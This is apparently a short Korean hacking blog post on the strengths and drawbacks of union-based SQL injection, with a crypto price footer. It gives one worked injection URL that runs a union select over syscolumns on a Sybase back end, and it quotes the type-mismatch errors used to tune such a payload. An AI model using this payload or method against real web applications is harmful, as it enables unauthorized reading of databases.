UNION BASED SQL injection의 양면성

in #hacking7 years ago

UNION BASED SQL injection 기법은 한번의 공격으로 많은 데이터를 얻을 수 있다.
하지만 연결 된 테이블의 개수가 10개 이상일 때, 경우의 수가 너무 많기 때문에 데이터 타입 알아내는 것이 쉽지 않다.
차라리 Error BASED SQL injection 기법을 사용하는 것이 더 빠를 수도 있다.

ex) 컬럼이 18개 일 경우
www.test.com/board/list.jsp?idx=100') union all select 'a','b','c',name,'e','f','g','h','i',getdate(),getdate(),getdate(),getdate(),'n','o','p','q','z' from TEST..syscolumns where id=1257768507--

데이터타입이 4가지라 가정해도 엄청난 경우의 수가 나올 수 있다.

데이터 타입이 맞지 않을 경우의 에러들
com.sybase.jdbc2.jdbc.SybSQLException: Implicit conversion from datatype 'CHAR' to 'INT' is not allowed. Use the CONVERT function to run this query.

com.sybase.jdbc2.jdbc.SybSQLException: Implicit conversion from datatype 'TEXT' to 'VARCHAR' is not allowed. Use the CONVERT function to run this query.

com.sybase.jdbc2.jdbc.SybSQLException: Implicit conversion from datatype 'VARCHAR' to 'INT' is not allowed. Use the CONVERT function to run this query.

com.sybase.jdbc2.jdbc.SybSQLException: Syntax error during implicit conversion of VARCHAR value 's' to a DATETIME field.

에러가 나지 않을때까지 삽질해야 우리가 원하는 것을 얻을 수 있다. ^________^

출처:UNION BASED SQL injection의 양면성

Coin Marketplace

STEEM 0.16
TRX 0.15
JST 0.030
BTC 58884.60
ETH 2504.97
USDT 1.00
SBD 2.45